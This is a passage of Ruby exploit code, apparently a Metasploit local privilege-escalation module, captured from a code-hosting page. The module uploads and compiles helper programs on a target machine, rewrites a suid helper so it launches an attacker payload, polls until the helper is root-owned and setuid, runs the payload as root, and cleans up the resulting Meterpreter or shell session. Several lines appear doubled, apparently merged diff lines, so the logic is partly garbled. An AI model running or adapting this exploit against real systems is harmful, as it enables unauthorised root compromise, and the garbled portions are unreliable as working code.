fd = ::File.open( path, "rb")
|
||||
suid_helper = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = 'AyDJSaMM'
|
||||
payload_path = '/tmp/AyDJSaMM'
|
||||
end
|
||||
|
||||
# make our substitutions so things are dynamic
|
||||
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
|
||||
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
|
||||
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
|
||||
'exit(0);')
|
||||
print_status('Writing files to target')
|
||||
cmd_exec("cd #{datastore['WritableDir']}")
|
||||
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
|
||||
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
|
||||
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
|
||||
upload_and_compile('payload', payload_path, generate_payload_exe)
|
||||
|
||||
print_status('Starting execution of priv esc. This may take about 120 seconds')
|
||||
|
||||
cmd_exec(doubleput_file)
|
||||
register_dir_for_cleanup "#{base_dir}/fuse_mount"
|
||||
cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
|
||||
sec_waited = 0
|
||||
until sec_waited > datastore['MAXWAIT'] do
|
||||
Rex.sleep(1)
|
||||
Rex.sleep(5)
|
||||
# check file permissions
|
||||
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
|
||||
print_good('got root, starting payload')
|
||||
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
|
||||
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
|
||||
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
|
||||
cmd_exec("#{suidhelper_path}")
|
||||
if setuid? @suidhelper_path
|
||||
print_good("Success! set-uid root #{@suidhelper_path}")
|
||||
cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
|
||||
return
|
||||
end
|
||||
sec_waited +=1
|
||||
sec_waited += 5
|
||||
end
|
||||
print_error "Failed to set-uid root #{@suidhelper_path}"
|
||||
end
|
||||
|
||||
def cleanup
|
||||
cmd_exec "killall #{@hello_name}"
|
||||
cmd_exec "killall #{@doubleput_name}"
|
||||
ensure
|
||||
super
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# if we don't /bin/bash here, our payload times out
|
||||
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
|
||||
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
|
||||
session.shell_command_token('/bin/bash')
|
||||
# remove root owned SUID executable and kill running exploit processes
|
||||
if session.type.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.fs.file.rm @suidhelper_path
|
||||
session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
|
||||
session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
|
||||
session.fs.file.rm "#{base_dir}/fuse_mount"
|
||||
else
|
||||
session.shell_command_token "rm -f '#{@suidhelper_path}'"
|
||||
session.shell_command_token "killall #{@doubleput_name}"
|
||||
session.shell_command_token "killall #{@hello_name}"
|
||||
session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue